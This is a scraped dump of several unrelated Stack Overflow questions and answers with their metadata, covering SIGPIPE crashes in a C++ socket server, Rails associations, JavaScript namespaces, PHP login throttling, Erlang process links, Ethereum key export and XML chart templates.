when the client exits it sends to the server "BYE" and the server is replying it with the above function. I connect the client to the server (its done on one computer, 2 terminals) and when the client exits the server crashes - it never prints the `15`.
any idea why ? any idea how to test why?
thank you.
EDIT: this is how i close the client:
```
void closeClient(int notifyServer = 0) {
/** notify server before closing */
if (notifyServer) {
int len = SERVER_PROTOCOL[bye].size()+1;
char* buf = new char[len];
strcpy(buf,SERVER_PROTOCOL[bye].c_str()); //c_str - NEED TO FREE????
sendToServer(buf,len);
delete[] buf;
}
close(_sockfd);
}
```
btw, if i skipp this code, meaning just leave the `close(_sockfd)` without notifying the server everything is ok - the server doesn't crash.
EDIT 2: this is the end of strace.out:
```
5211 recv(5, "BYE\0", 4, 0) = 4
5211 write(1, "received from client 5 \n", 24) = 24
5211 write(1, "command: BYE msg: \n", 19) = 19
5211 write(1, "BYEBYE\n", 7) = 7
5211 write(1, "response = ALALA!!!\n", 20) = 20
5211 write(1, "sending to client 5 ALALA!!!\n", 29) = 29
5211 write(1, "10\n", 3) = 3
5211 send(5, "\t\0\0\0", 4, 0) = 4
5211 write(1, "11\n", 3) = 3
5211 send(5, "ALALA!!!\0", 9, 0) = -1 EPIPE (Broken pipe)
5211 --- SIGPIPE (Broken pipe) @ 0 (0) ---
5211 +++ killed by SIGPIPE +++
```
broken pipe can kill my program?? why not just return -1 by send()?? | 2011/05/28 | [
"https://Stackoverflow.com/questions/6162994",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/419889/"
] | You're getting SIGPIPE because of a "feature" in Unix that raises SIGPIPE when trying to send on a socket that the remote peer has closed. Since you don't handle the signal, the default signal-handler is called, and it aborts/crashes your program.
To get the behavior your want (i.e. make send() return with an error, instead of raising a signal), add this to your program's startup routine (e.g. top of main()):
```
#include <signal.h>
int main(int argc, char ** argv)
{
[...]
signal(SIGPIPE, SIG_IGN);
``` | If you are on Linux, try to run the server inside `strace`. This will write lots of useful data to a log file.
```
strace -f -o strace.out ./server
```
Then have a look at the end of the log file. Maybe it's obvious what the program did and when it crashed, maybe not. In the latter case: Post the last lines here. |
23,423,326 | Looking at the ActiveRecord has\_one and has\_many relations in Rails, this is probably a general (and very likely obvious) question.
If I have two tables, say Husbands and Wives, and it is a monogamous all married couples database, then each husband has a wife, and each wife has a husband. So it would make sense to treat this as a single table of couples.
Why would anyone want to have two tables where both tables have a has\_one relation with the other, instead of combining them as a single table?
* Could there be any efficiency gain?
* Can it cover some case I haven't figured out? | 2014/05/02 | [
"https://Stackoverflow.com/questions/23423326",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1143539/"
] | It depends.
If:
1. you are only interested in the couples,
2. individual people don't hold any data,
3. everyone HAS a spouse,
then, yes, using a single table might make sense.
However, if any of the above is false, you will want to use individual records.
You should declare the associations like this:
```
class Person < ActiveRecord::Base
validates :gender, presence: :true
belongs_to :wife, -> { where gender: "F" },
foreign_key: :wife_id,
class: "Person"
has_one :husband, -> { where gender: "M" },
foreign_key: :wife_id,
class: "Person"
end
```
However, if you want the *couple* record to also hold some data, you might be better off with this kind of implementation:
```
class Marriage < ActiveRecord::Base
validates :husband_id, presence: true
validates :wife_id, presence: true
belongs_to :husband, class: "Person"
belongs_to :wife, class: "Person"
end
class Person < ActiveRecord::Base
has_one :marriage
has_one :husband, though: :marriage
has_one :wife, though: :marriage
end
```
Although you should be aware that if a `person = Person.find()` is a, say, `wife`, and you call `person.wife`, it might return itself. | I learned from the answers, but most of them took my example of couples too literally. It was meant just an example. The question was about any A has\_one B, B has\_one A relationship.
sevenseacat's third comment "A relationship between entities is just that - a relationship" really gave me the idea about the second part to my question, namely "some case that I haven't figured out".
>
> While the husband wife relationship is a reflexive relation, not every relationship has to be that way. For example we could have the relation: A "is most attracted to" B, which is not necessarily reflexive. B might find some other individual most attractive. So even though each A has\_one B, and each B has\_one A, this relationship does not necessarily create pairs. In plain English, "being attracted to" is not necessarily a mutual relationship (a sad fact of life that many people have a hard time accepting).
>
>
>
For the first part of the question, in terms of efficiency, a point hinted at in some of the answers was just because you can put them in one table doesn't mean you must.
>
> If we are usually just interested in individuals, and only rarely in the spouses, then having one table with long rows would probably be inefficient. On the other hand if usually we are interested in data about both spouses at the same time then combining the tables might be better.
>
>
>
As the other answers mention,
>
> when we have both tables being similar, except for gender, then having a single table for people, has its own benefits, and a number of interesting ways to implement this option are given.
>
>
> |
13,687,223 | I'm trying to create a function within a namespace that will get me a new object instance.
I get syntax error trying to do the following:
```
var namespace = {
a : function(param){
this.something = param;
},
a.prototype.hi = function(){
alert('hi');
},
b : function(){
var t = new a('something');
}
};
```
What is the correct syntax for doing this? Is it not possible to do within the `namespace` object? I don't want to declare the namespace first. Thanks | 2012/12/03 | [
"https://Stackoverflow.com/questions/13687223",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/428704/"
] | >
> I don't want to declare the namespace first.
>
>
>
You can do weird things like this:
```
var namespace = {
init: function() {
a.prototype.whatever = function(){};
},
a: function(x) {
this.x = x;
}
}
namespace.init();
var myA = new namespace.a("x");
```
But why not try the module pattern if you want to encapsulate everything? It's way cleaner:
```
var namespace = (function() {
function a() {};
function b(name) {
this.name = name;
};
b.prototype.hi = function() {
console.log("my name is " + this.name);
}
return {
a: a,
b: b
}
})();
``` | I do not exactly know what you want, but this works:
```
var namespace = {
a: function() {
function a() {
}
a.prototype.hi = function() {
console.log("hi");
}
return new a;
}
}
var obj = new namespace.a();
obj.hi()
// -> 'hi'
``` |
6,720,485 | i'm developing a PHP web application and the main focus of the app is security. Until now i've stored the authentication data into 2 cookies:
* one cookie for a unique hash string (30 chars)
* one cookie for a unique id (the primary key of the mysql database table which holds the cookie info and user id)
Db tables look like this:
* Users (**user\_id**, username, password)
* Cookies (**cookie\_id**, user\_id, hash, time, ip)
When a user visits the page the app checks for existing cookies (cookie check) on the client and compares them to the database table Cookies. If the hash string and the id match, the session is extended and if they don't, the session is destroyed (if exists) and the user is prompted to login. It also checks if the session expired by comparing the current time stamp to the time stamp of the last activity.
When the user logs in a hash strings is generated and stored in the database (the current time stamp and IP is also stored). The primary id of the newly generated row and the hash string are then stored into two cookies and used for authentication.
I would like to implement additional security to prevent dictionary or brute force attacks, by throttling the login and cookie check attempts. I'd like to achive that when the user fails N times to login or to validate cookies that he gets blocked for 20 minutes. But if i do this using the IP i would potentially block every user using that IP.
I could lock the specific user account when there are more than X failed attempts, but the problem is when the attacker doesn't supply a valid username (so i would have to block the whole IP for N minutes).
The login form has also a captcha check, but that just slows down a attack (nothing compared to denying login attempts for X minutes).
* Is there any other way of denying login attempts without blocking out the whole network using that IP?
* Should i bother with denying login attempts when there are N failed cookie checks?
* If the users cookies are stolen, i use the IP in Cookie table to prevent reusing it, so the cookies are usable only from the same IP as the users. Is this secure or should i do it somehow else?
Thanks in advance,
PS: all passwords in database are hashed, the cookie values are encoded before used in a db query (so injections aren't possible). | 2011/07/16 | [
"https://Stackoverflow.com/questions/6720485",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/785990/"
] | You have 3 idioms:
1/ I don't care if my child process dies:
```
spawn(...)
```
2/ I want to crash if my child process crashes:
```
spawn_link(...)
```
3/ I want to receive a message if my child process terminates (normally or not):
```
process_flag(trap_exit, true),
spawn_link(...)
```
Please see this example and try different values (inverse with 2 or 0 to provoke an exception, and using trap\_exit or not):
```
-module(play).
-compile(export_all).
start() ->
process_flag(trap_exit, true),
spawn_link(?MODULE, inverse, [2]),
loop().
loop() ->
receive
Msg -> io:format("~p~n", [Msg])
end,
loop().
inverse(N) -> 1/N.
``` | In Erlang, processes can be *linked* together. These links are bi-directional. Whenever a process dies, it sends an *exit signal* to all linked processes. Each of these processes will have the *trapexit flag* enabled or disabled. If the flag is disabled (default), the linked process will crash as soon as it gets the exit signal. If the flag has been enabled by a call to `system_flag(trap_exit, true)`, the process will convert the received exit signal into an *exit message* and it will **not** crash. The exit message will be queued in its mailbox and treated as a normal message.
If you're using OTP supervisors, they take care of the trap\_exit flags and details for you, so you don't have to care about it.
If you're implementing a supervision mechanism, which is probably what the screen-cast is about (haven't seen it), you will have to take care of the trap\_exit thing. |
34,797,955 | I want to implement pull to refresh effect but on `UITableView` bottom using `UIRefreshControl` ?
Any ideas? | 2016/01/14 | [
"https://Stackoverflow.com/questions/34797955",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5010426/"
] | Just try this
```
<div name="description" ....>
<pre>
.....
here your content
.....
</pre>
</div>
```
if not work let me know | Take a look at HTML Purifier. Pretty good at cleaning up dirty input.
[http://htmlpurifier.org/](http://htmlpurifier.org) |
3,720 | I use the [Mist](https://github.com/ethereum/mist) wallet.
I would like to know:
* How I can get the private key of my account.
* How I can use this private key to sign messages. | 2016/05/08 | [
"https://ethereum.stackexchange.com/questions/3720",
"https://ethereum.stackexchange.com",
"https://ethereum.stackexchange.com/users/1400/"
] | I'm assuming your mist client runs a geth node in background.
>
> Export of unencrypted key is not supported on purpose after deliberating the risk to end users. [#1054](https://github.com/ethereum/go-ethereum/issues/1054#issuecomment-107398095)
>
>
>
Unfortunately it seems not to be possible to extract the unencrypted private key.
>
> If you got the key file under keystore then that is your private key encrypted with a password (plus other metadata) . There is really no need to export your actual ec private key (unless you well wanna do math with it or I don't know). You need to know your password though. You can copy the key to another client or machine. If you unlock the account you can use this address to sign transactions, ... [r/cvckff5](https://www.reddit.com/r/ethereum/comments/3m6zw2/exporting_pvtkey_through_geth/cvckff5)
>
>
>
If you want to dig deeper you could try:
1. [importing your keys from geth into eth using the ethkey utility](https://ethereum.stackexchange.com/q/1472/87). And after that you should be able to
2. [make the plain unencrypted private key visible with listbare](https://ethereum.stackexchange.com/a/1087/87) (not recommended), and finally
3. [sign a message with eth\_sign rpc call](https://ethereum.stackexchange.com/q/693/87). | You could also use the [wallet functionality](https://ethtools.com/mainnet/wallet/load/) on EthTools.com.
This tool loads details about your address from your keyfile and displays them in an easily consumable manner.
***The load wallet screen***
[](https://i.stack.imgur.com/PF2B2.png)
***Select (or input) your keyfile***
[](https://i.stack.imgur.com/3cpyY.png)
***Click advanced to view your private key***
[](https://i.stack.imgur.com/tkRuS.png)
Using this tool is also explained [here](https://www.youtube.com/watch?v=3fyP9GFSEWI) in video format. |
74,537,251 | I'm trying to implement a function that will count how many 'n' of rooks can there be in a chess board of 'n' size without colliding in a position that can be attacked by another rook.
I have used as a base a 4\*4 grid. I'm struggling with the concept to create the array and how to proceed with the recursion (it has to be done with recursion as per exercise request). My recursion is a mess and i still don't know how to fill the array in shape of `[ | | | ]` x4.
I've looked a lot, and this is the Queens problem (just the rooks for now) but still I don't know how to proceed. there are plenty of solutions out there, but none of them require to return a factorial integer (I have tried factorial approach and it works, but is not what the exercise need). Debug shows that `solutions` never gets updated and when `n` becomes less than one it enters an infinite loop.
```js
function calc (size) {
// should be incremented each time a rook is placed
let rooks = 0;
// should increment and
let solutions = 0;
// where the array should populated ...?
const board = [];
function recursively (n) {
// if size becomes smaller than 1 stop recursion?
while (n > 1) {
// update solution var?
solutions += n * recursively(n -1);
}
// increment count of rooks
rooks++;
// return 0 in case there is a size of 0
return 0;
}
recursively(size);
return solutions;
}
console.log(calc(4));
```
Be mindful that I'm learning JS at this point. Thank you | 2022/11/22 | [
"https://Stackoverflow.com/questions/74537251",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19153279/"
] | In one sense, this is an extremely trivial problem, because we can see the answer at a glance. On an `n x n` board, when we place a Rook anywhere, we have blocked the placement of any other Rook on that row or that column, reducing the problem to `(n - 1) x (n - 1)`, and trivially we can note that therefore on an `n x n` board, we can place `n` rooks.
So a trivial answer is
```js
const countRooks = (n) => n
```
Or, if you have to use recursion, and your instructor doesn't mind a wiseass, you could write
```js
const countRooks = (n) =>
n <= 0
? 0
: 1 + countRooks (n - 1)
```
But let's assume that this is in preparation for a harder assignment, and that we want to do something legitimate with an actual board representation. How should we represent our board? We might try something like this:
```js
const ourEmpty4x4Board = [
{c: 'a', r: 4, v: ' '}, {c: 'b', r: 4, v: ' '}, {c: 'c', r: 4, v: ' '}, {c: 'd', r: 4, v: ' '},
{c: 'a', r: 3, v: ' '}, {c: 'b', r: 3, v: ' '}, {c: 'c', r: 3, v: ' '}, {c: 'd', r: 3, v: ' '},
{c: 'a', r: 2, v: ' '}, {c: 'b', r: 2, v: ' '}, {c: 'c', r: 2, v: ' '}, {c: 'd', r: 2, v: ' '},
{c: 'a', r: 1, v: ' '}, {c: 'b', r: 1, v: ' '}, {c: 'c', r: 1, v: ' '}, {c: 'd', r: 1, v: ' '},
]
```
```js
const ourFilled4x4Board = [
{c: 'a', r: 4, v: 'R'}, {c: 'b', r: 4, v: ' '}, {c: 'c', r: 4, v: ' '}, {c: 'd', r: 4, v: ' '},
{c: 'a', r: 3, v: ' '}, {c: 'b', r: 3, v: ' '}, {c: 'c', r: 3, v: 'R'}, {c: 'd', r: 3, v: ' '},
{c: 'a', r: 2, v: ' '}, {c: 'b', r: 2, v: ' '}, {c: 'c', r: 2, v: ' '}, {c: 'd', r: 2, v: 'R'},
{c: 'a', r: 1, v: ' '}, {c: 'b', r: 1, v: 'R'}, {c: 'c', r: 1, v: ' '}, {c: 'd', r: 1, v: ' '},
]
```
But that seems like a lot of work, and is somewhat difficult to work with. It has to handle the string column markers instead of looping with integers, and that's awkward; moreover, it doesn't offer us any clear way to move us toward solving the problem.
So let's try another representation. How about this?:
```js
const ourEmpty4x4Board = [
[" ", " ", " ", " "],
[" ", " ", " ", " "],
[" ", " ", " ", " "],
[" ", " ", " ", " "],
]
```
```js
const ourFilled4x4Board = [
["R", " ", " ", " "],
[" ", " ", "R", " "],
[" ", " ", " ", "R"],
[" ", "R", " ", " "],
]
```
This seems more helpful, so let's go with this, and we can create a empty board like this:
```js
const createEmptyBoard = (size) =>
Array .from ({length: size}, () => Array .from ({length: size}, () => ' '))
createEmptyBoard (4)
//=> [[" ", " ", " ", " "], [" ", " ", " ", " "], [" ", " ", " ", " "], [" ", " ", " ", " "]]
```
That view isn't particularly helpful if we're trying to debug our work. We would like to have a quick-and-dirty board previewer as we develop the rest. While we could certainly make one that generated something like this:
```
+---+---+---+---+
|♜ | | | |
+---+---+---+---+
| | |♜ | |
+---+---+---+---+
| |♜ | | |
+---+---+---+---+
| | | |♜ |
+---+---+---+---+
```
or even something more fancy, that's probably overkill. How about if we settle for something like this?:
```
R···
··R·
·R··
···R
```
Now we need a means to add a Rook to a given board. We will write a function that accepts a board, a row and a column, and returns a new board the same as the original but with a Rook at the given row and column.
This is not too hard. Something like this will do:
```js
const addRook = (board, row, col) => {
const newBoard = board .map ((r) => [...r])
newBoard [row] [col] = 'R'
return newBoard
}
```
Notice that we're building a *new* board. The old one would still be intact. I find this a useful way to work. Your instructor may or may not agree or may find this appropriate only for later in the course. But it's the way I think.
So now we can use these tools to add some Rooks to a board:
```js
const createEmptyBoard = (size) =>
Array .from ({length: size}, () => Array .from ({length: size}, () => ' '))
const addRook = (board, row, col) => {
const newBoard = board .map ((r) => [...r])
newBoard [row] [col] = 'R'
return newBoard
}
const display = (board) =>
board .map (row => row .join ('') .replaceAll (/\s/g, '·')) .join ('\n') + '\n'
const board = createEmptyBoard (4)
console .log (display (board))
const oneRook = addRook (board, 1, 2)
console .log (display (oneRook))
const twoRooks = addRook (oneRook, 3, 3)
console .log (display (twoRooks))
const threeRooks = addRook (twoRooks, 0, 0)
console .log (display (threeRooks))
const fourRooks = addRook (threeRooks, 2, 1)
console .log (display (fourRooks))
```
```css
.as-console-wrapper {max-height: 100% !important; top: 0}
```
Now we get to solving the problem. I am not going to do it for you. I'm leaving the hardest bit for you to implement. If we have a board like this:
```
······
·R····
······
····R·
······
··R···
```
and we want to place another Rook, we can look at each existing Rook in turn and eliminate their row and column from consideration:
```
·*····
*R****
·*····
·*··R·
·*····
·*R···
```
and then
```
·*··*·
*R****
·*··*·
****R*
·*··*·
·*R·*·
```
followed by
```
·**·*·
*R****
·**·*·
****R*
·**·*·
**R***
```
leaving nine squares still to fill. You could write a function that takes a board, randomly chooses one of the unfilled/unblocked squares and fills it, blocking out the squares in its row and column, and incrementing your running tally of Rooks, ending when there are no more squares left to fill. This would work fine, and it might be a good way to go.
But another way would be to actually simply eliminate the matching row and column from what you're working on. Then you could end when the board has no squares. This is slightly cleaner, so I would suggest you try to write a function `eliminate` which takes a board, a row, and a column, and returns a board identical to the first except that the relevant row and column are removed.
Using that, you can write a recursive function that takes a board and, if it's empty, returns zero; otherwise randomly pick the row and column for a square, eliminate that row and column, recursively call the function with this new board add one to the resulting value and returning it. If you then write one more function to accept the board size, create an empty board of that size, then call the main function with that board, returning the result, you have solved the problem.
As noted up front, though, all this can seem like an extremely roundabout way of handling what could just be `countRooks = (n) => n`. And it is. But what it lets you do is then with only minor changes, count *all* the ways of placing `n` Rooks on an `n x n` board, or on an `m x n` board. Or you can accept a board with some Rooks already placed and calculate how many ways there are to place more of them. | This part of recursively
```
while (n > 1) {
// update solution var?
solutions += n * recursively(n -1);
}
```
Is either never going to do anything or will never escape the loop, because if n is greater than 1 you are not changing it in the function. |
15,903,798 | ```
BETWEEN CAST(GETDATE() AS DATE) AND DATEADD(WEEK, 4, CAST(GETDATE() AS DATE))
```
This is how you do it in mssql. How can I do it using dynamic linq (or whatever it's called - like not C#, but strings).
I'll appreciate any help. | 2013/04/09 | [
"https://Stackoverflow.com/questions/15903798",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1999756/"
] | ```
var qryResult = (from tbl in dbcontext.Yourtable
where tbl.CheckDate >= DateTime.Today
&& tbl.CheckDate <= System.Globalization.CultureInfo.InvariantCulture.Calendar.AddWeeks(DateTime.Today, 4) )
select tbl
).ToList();
``` | If you just need to know how to compare date in C# then:
Create an extension:
```
public static DateTime AddWeeks(this DateTime date, int weeks)
{
return date.AddDays(7*weeks);
}
```
And so in Linq:
```
var now = DateTime.Now;
whatever.Where(d => now.AddWeeks(-4) < d && d < now)
``` |
18,463,213 | That works on displaying the items from database in the listbox but i need that if i select a value in the listbox it displays information about that person back to the textboxes. Thats the thing that i can't get to work.
```
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using MySql.Data.MySqlClient;
namespace program
{
public partial class Form8 : Form
{
public Form8()
{
InitializeComponent();
fill_listbox();
}
void fill_listbox()
{
string constring = "datasource=sql2.freesqldatabase.com;port=3306;username=sql217040;password=xxxxx";
string Query = "select * from sql217040.fakedata ;";
MySqlConnection conDataBase = new MySqlConnection(constring);
MySqlCommand cmdDataBase = new MySqlCommand(Query, conDataBase);
MySqlDataReader myReader;
try
{
conDataBase.Open();
myReader = cmdDataBase.ExecuteReader();
while (myReader.Read())
{
string id1 = myReader.GetString("id");
string name1 = myReader.GetString("name");
string surname1 = myReader.GetString("surname");
listBox1.Items.Add(id1 + ' ' + name1 + ' ' + surname1);
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private void listBox1_SelectedIndexChanged(object sender, EventArgs e)
{
string constring = "datasource=sql2.freesqldatabase.com;port=3306;username=sql217040;password=xxxxx";
string Query = "select * from sql217040.fakedata where name='" + listBox1.Text + "' ;";
MySqlConnection conDataBase = new MySqlConnection(constring);
MySqlCommand cmdDataBase = new MySqlCommand(Query, conDataBase);
MySqlDataReader myReader;
try
{
conDataBase.Open();
myReader = cmdDataBase.ExecuteReader();
while (myReader.Read())
{
string sname = myReader.GetString("name");
string ssurname = myReader.GetString("surname");
string sphone = myReader.GetString("phone");
textBox1.Text = sname;
textBox2.Text = ssurname;
//telephone.Text = sphone;
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
}
}
``` | 2013/08/27 | [
"https://Stackoverflow.com/questions/18463213",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2721172/"
] | Description
===========
This expression will:
* require the string to start with a `-` character
* allows the `#` to appear at most 1 time in the string
* prevents a space from appearing in the string
* allows one or more of `a-z0-9` characters
* allows the `#` character to appear anywhere in the string, including the beginning and end
`^(?!(?:.*?#){2,})-[a-z0-9#]+$`

```
NODE EXPLANATION
--------------------------------------------------------------------------------
^ the beginning of the string
--------------------------------------------------------------------------------
(?! look ahead to see if there is not:
--------------------------------------------------------------------------------
(?: group, but do not capture (at least 2
times (matching the most amount
possible)):
--------------------------------------------------------------------------------
.*? any character except \n (0 or more
times (matching the least amount
possible))
--------------------------------------------------------------------------------
# '#'
--------------------------------------------------------------------------------
){2,} end of grouping
--------------------------------------------------------------------------------
) end of look-ahead
--------------------------------------------------------------------------------
- '-'
--------------------------------------------------------------------------------
[a-z0-9#]+ any character of: 'a' to 'z', '0' to '9',
'#' (1 or more times (matching the most
amount possible))
--------------------------------------------------------------------------------
$ before an optional \n, and the end of the
string
```
Examples
========
[Live Demo](http://www.rubular.com/r/4lLlO9bDpv)
**Samples**
```
-abcdefghijklmnopqrstuvwxyz1234567890 = good
-abcdefghijklmnopq#rstuvwxyz1234567890 = good
-abcdefghijklmnopq##rstuvwxyz1234567890 = bad
-#abcdefghijklmnopqrstuvwxyz1234567890 = good
-##abcdefghijklmnopqrstuvwxyz1234567890 = bad
-#abcdefghijklmnopqrstuvwxyz1234567890 = good
-abcdefghijklmnopqrstuvwxyz1234567890# = good
-#abcdefghijklmnopqrstuvwxyz1234567890# = bad
#-abcdefghijklmnopqrstuvwxyz1234567890 = bad
``` | what you can do is call `'your line'.match(/#/g).length` in you method and if the length is greater than 1 you can exclude those results. after that perform your match if this condition satisfies, by chaining. |
10,668,539 | I have a crawler which crawls a site for a specific value, this value is not directly located inside of a class div but of course has a parent div with is specified by a class.
this value is located in the 3rd div of the parent div (if you look below you will see what i mean).
**code**
```
if($page->find('div.mbcContainer div div span')){
foreach($page->find('div.mbcContainer div div span') as $p){
if(trim($p->plaintext)){
$tp = $p->plaintext;
}
}
}
```
**html page**
```
<div class="mbcContainer">
<div>
<div class="ie1"></div>
<div class="ie2"></div>
<div>
<span>get this value</span>
</div>
</div>
</div>
```
I am trying to get the span with the value "get this value"
is there any way to do this. | 2012/05/19 | [
"https://Stackoverflow.com/questions/10668539",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1131217/"
] | This is correct, as long as you have drawables in all 4 density buckets you are covered. A common practice is to make a custom drawable in /res/drawable which refers your density spanning drawables.
For example, you may want a button with different states for pressed and unpressed. First, you would include a drawable of each density for a pressed and unpressed button. Then you could create the following button\_black\_selector.xml in /res/drawables:
```
<?xml version="1.0" encoding="utf-8"?>
<selector xmlns:android="http://schemas.android.com/apk/res/android">
<item android:state_pressed="false"
android:drawable="@drawable/button_black"/>
<item android:state_pressed="true"
android:drawable="@drawable/button_black_selected" />
</selector>
``` | If your resource is added for all the four densities, then you're correct that you don't *have* to add the drawable to the folder `/res/drawable`. However, you've guessed correctly that it is best to have something in the default folder in the case if a new qualifier appears. Therefore, I recommend to place mdpi resources not to the `/res/drawable-mdpi` folder, but to the default folder instead (`/res/drawable/`). It is a good practice for every kind of resource.
As for the `/res/drawable-nodpi` folder, it is a special folder, because it is supposed to contain resources which do not scale automatically unlike all other qualifiers. Therefore you usually either use the `/res/drawable-nodpi` folder alone, or do not use it at all. |
70,886,039 | I've been trying to modify the `Stream_Autocomplete` cache file in Outlook (deleting all autocomplete with a certain domain), but I can't figure out how `:/`...
1. First my plan was to get the cache file from `RoamCache` folder, decode it, rewrite it without the users I don't want, and then save it where it was before (while making sure that during the process Outlook is closed so that it doesn't overwrite it when closed). But I don't understand the encoding used.. I found that documentation in link with that but I don't really understand it:
[Autocomplete Stream](https://learn.microsoft.com/en-us/office/client-developer/outlook/mapi/autocomplete-stream).
2. I've tried using MAPI but that didn't lead to anything because that data is not accessible from MAPI.
3. Then I tried using IMAP but couldn't figure out how to connect to the host (it's a private domain).
At this point I'm just back at trying to figure out a way for my first idea. | 2022/01/27 | [
"https://Stackoverflow.com/questions/70886039",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/18031675/"
] | This is because every time you call the method, `currentJobIndex = 0;` is executed again, so you do not go to the next position in the array, but always write to `jobs[0]`. `currentJobIndex` needs to be a global variable, like this:
```java
public class Job(){
private int[] jobs = new int[5]; // Specify length of array here.
private currentJobIndex = 0;
public void addJob(){
jobs[currentJobIndex] = new Job();
jobs[currentJobIndex].getInformation();
jobs[currentJobIndex].calculateCost();
jobs[currentJobIndex].display();
jobs[currentJobIndex].getCostTotal();
currentJobIndex++;
}
}
```
(Sidenote: Since you probably don't know how many jobs will be stored in advance, a list would be the better choice here.) | This is because currentJobIndex doesn't increment when you add a new job.
You can fix this by adding:
```
public static void addJob() { currentJobIndex = 0;
jobs[currentJobIndex] = new Job();
jobs[currentJobIndex].getInformation();
jobs[currentJobIndex].calculateCost();
jobs[currentJobIndex].display();
jobs[currentJobIndex].getCostTotal();
currentJobIndex++;
}
``` |
45,321,050 | I have a pattern string with a wild card say X (E.g.: abc\*).
Also I have a set of strings which I have to match against the given pattern.
E.g.:
abf - false
abc\_fgh - true
abcgafa - true
fgabcafa - false
I tried using regex for the same, it didn't work.
Here is my code
```
String pattern = "abc*";
String str = "abcdef";
Pattern regex = Pattern.compile(pattern);
return regex.matcher(str).matches();
```
This returns false
Is there any other way to make this work?
Thanks | 2017/07/26 | [
"https://Stackoverflow.com/questions/45321050",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1180711/"
] | Just use bash style pattern to Java style pattern converter:
```
public static void main(String[] args) {
String patternString = createRegexFromGlob("abc*");
List<String> list = Arrays.asList("abf", "abc_fgh", "abcgafa", "fgabcafa");
list.forEach(it -> System.out.println(it.matches(patternString)));
}
private static String createRegexFromGlob(String glob) {
StringBuilder out = new StringBuilder("^");
for(int i = 0; i < glob.length(); ++i) {
final char c = glob.charAt(i);
switch(c) {
case '*': out.append(".*"); break;
case '?': out.append('.'); break;
case '.': out.append("\\."); break;
case '\\': out.append("\\\\"); break;
default: out.append(c);
}
}
out.append('$');
return out.toString();
}
```
[Is there an equivalent of java.util.regex for “glob” type patterns?](https://stackoverflow.com/questions/1247772/is-there-an-equivalent-of-java-util-regex-for-glob-type-patterns)
[Convert wildcard to a regex expression](http://www.rgagnon.com/javadetails/java-0515.html) | you can use stringVariable.startsWith("abc") |
18,350,353 | I was using the function below to create a heatmap from a matrix of 48 columns X 32 rows:
```
heatmap.2(all.data,Rowv = FALSE, Colv = FALSE, trace="none",main="All data",col=colorRampPalette(c("green","yellow","red")))
```
It was giving me some warnings because of the removal of the dendograms, but still it gave me the heatmap I wanted plus the color key, something happend and now when I try to run the same it gives me the plot without the color key and an error:
```
Error in plot.new() : figure margins too large
In addition: Warning messages:
1: In heatmap.2(all.data, Rowv = FALSE, Colv = FALSE, trace = "none", :
Discrepancy: Rowv is FALSE, while dendrogram is `both'. Omitting row dendogram.
2: In heatmap.2(all.data, Rowv = FALSE, Colv = FALSE, trace = "none", :
Discrepancy: Colv is FALSE, while dendrogram is `none'. Omitting column dendogram.
```
if I change the margins to 1 for all sides:
```
par(mar=c(1,1,1,1))
heatmap.2(all.data,Rowv = FALSE, Colv = FALSE, trace="none",main="All data",col=colorRampPalette(c("green","yellow","red")))
```
and try again it doesn't make the heatmap and gives me this error:
```
Error in .External.graphics(C_layout, num.rows, num.cols, mat, as.integer(num.figures), :
invalid graphics state
In addition: Warning messages:
1: In heatmap.2(all.data, Rowv = FALSE, Colv = FALSE, trace = "none", :
Discrepancy: Rowv is FALSE, while dendrogram is `both'. Omitting row dendogram.
2: In heatmap.2(all.data, Rowv = FALSE, Colv = FALSE, trace = "none", :
Discrepancy: Colv is FALSE, while dendrogram is `none'. Omitting column dendogram.
```
I also tried adding to the function key=T, but the color key is still not appearing in the Heatmap, any help will be very much appreciated!!! | 2013/08/21 | [
"https://Stackoverflow.com/questions/18350353",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2702364/"
] | If your plot has been working in the past and is now throwing the `invalid graphics state` error, try resetting the graphics device by calling `dev.off()`. This was suggested by RStudio's help site. | Figured it out, it was just a mistake with the display, if I automatically save the plot instead of asking RStudio to show it to me is, the graph is ok |
12,016,321 | I have some css and html that I am trying to modify, to make it so a div expands horizontally into a scollable div, but all I get is "stacking" once the width is reached.
[fiddle](http://jsfiddle.net/cWpGS/46/)
The absolute positioning is pretty important in the document structure, so I will need to keep most of the css as it is.
Any ideas? | 2012/08/18 | [
"https://Stackoverflow.com/questions/12016321",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/872034/"
] | add `white-space:nowrap;` in "mli" class
fiddle <http://jsfiddle.net/cWpGS/51/> | If I understand you correctly, the text is extending fully into the container. Your problem was that the container only extended to the end of its parent div, which had a very small width assigned. Changing the width of the container div makes the text not wrap as much:
[**jsFiddle**](http://jsfiddle.net/Snowsickle/cWpGS/47/) |
14,639,280 | I am building a web application that will generate charts and graphs using a 3rd party charting component. This charting component requires it receive an XML file containing the design parameters and data in order to render the chart. The application may render up to 10 to 20 charts per page view. I am looking for suggestions for the most efficient way to handle this.
I need to load XML templates, of which there will be about 15-20, one for each chart type definition. With the templates loaded, I will them add the chart specific data and send it off to the charting component for rendering. Some of the possible ways of handling this off the top of my head include ->
1. Build each XML template in code, using StringBuilder
2. Build each XML template in code, using one of the .NET XML classes
3. Store each XML template in a file, load it from the disk on demand
4. Store each XML template in a file, load them all at once on application start
Storing the XML templates in files would greatly simplify the development processes for me, but I don't know what kind of performance hit I would take, especially if I was continually reading them off the disk. It seems like option 4 would be the better way to go, but I'm not quite sure the best practice way to implement that solution.
So.. any thoughts out there? | 2013/02/01 | [
"https://Stackoverflow.com/questions/14639280",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1867791/"
] | Thanks for your suggestions everyone.
